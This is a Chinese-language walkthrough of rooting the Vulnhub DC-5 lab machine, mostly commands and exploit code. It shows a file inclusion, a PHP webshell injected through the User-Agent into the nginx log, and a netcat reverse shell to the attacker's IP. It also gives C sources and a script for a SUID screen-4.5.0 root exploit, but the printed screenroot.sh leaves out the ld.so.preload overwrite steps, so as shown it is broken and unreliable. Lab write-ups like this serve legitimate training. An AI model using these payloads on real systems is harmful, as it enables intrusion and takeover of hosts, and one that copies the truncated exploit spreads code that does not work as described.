Vulnhub靶机DC系列-DC5
字数 1031 2025-08-15 21:33:21
DC-5 靶机渗透教学文档
靶机概述
DC-5 是 Vulnhub 上设计的一个中级难度渗透测试靶机,适合有一定渗透测试经验的学习者。该靶机只有一个可利用的入口点,没有SSH服务,最终目标是获取root权限并读取flag。
环境准备
- 下载靶机:https://www.vulnhub.com/entry/dc-5,314/
- 使用VMware或VirtualBox导入,设置为桥接模式
- 攻击机推荐使用Kali Linux
信息收集
1. 发现靶机IP
使用nmap扫描本地网络:
nmap -sn 192.168.3.0/24
2. 端口扫描
nmap -sV -A -p- <靶机IP>
预期发现开放80端口(HTTP服务)
Web应用渗透
1. 初步探测
访问 http://<靶机IP>,发现一个留言板功能
2. 目录扫描
使用dirb扫描web目录:
dirb http://<靶机IP>
3. 发现漏洞
- 提交留言后观察页面变化,发现年份显示会变化
- 多次提交留言,确认年份显示变化规律
- 怀疑存在文件包含漏洞
4. 确认文件包含漏洞
- 使用参数
file=尝试包含文件 - 成功读取
/etc/passwd:http://<靶机IP>/index.php?file=/etc/passwd
5. 利用Nginx日志文件
- 尝试读取Nginx日志:
/var/log/nginx/error.log /var/log/nginx/access.log - 发现error.log可读但access.log无内容
6. 日志注入PHP代码
- 在User-Agent中注入PHP代码:
curl -A "<?php system(\$_GET['cmd']); ?>" http://<靶机IP> - 验证注入是否成功:
http://<靶机IP>/index.php?file=/var/log/nginx/error.log&cmd=id
7. 获取反弹shell
- 攻击机监听端口:
nc -lvvp 4444 - 执行反弹shell命令:
http://<靶机IP>/index.php?file=/var/log/nginx/error.log&cmd=nc -e /bin/sh <攻击机IP> 4444
权限提升
1. 改善shell环境
获取基本shell后,升级为完整TTY:
python -c 'import pty; pty.spawn("/bin/bash")'
2. 信息收集
- 查看内核版本:
uname -a - 查找SUID文件:
find / -perm -4000 -type f 2>/dev/null - 发现
screen-4.5.0具有SUID权限
3. 利用screen漏洞提权
- 准备三个文件:
libhax.c:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
rootshell.c:
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
screenroot.sh:
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
screen -ls # screen itself is setuid,so...
/tmp/rootshell
- 编译文件:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
- 上传文件到靶机:
# 在攻击机启动HTTP服务
python -m http.server 8080
# 在靶机下载
wget http://<攻击机IP>:8080/libhax.so
wget http://<攻击机IP>:8080/rootshell
wget http://<攻击机IP>:8080/screenroot.sh
- 设置权限并执行:
chmod +x screenroot.sh
chmod +x rootshell
./screenroot.sh
4. 获取root权限
执行上述脚本后,将获得root权限的shell。
获取flag
find / -name "*flag*" -type f 2>/dev/null
cat /root/flag.txt
总结
- 通过文件包含漏洞读取Nginx日志
- 通过日志注入PHP代码获取webshell
- 利用screen-4.5.0的SUID漏洞进行提权
- 最终获取root权限并读取flag
参考资源
- screen漏洞详情:https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
- Exploit-DB上的exp:https://www.exploit-db.com/exploits/41154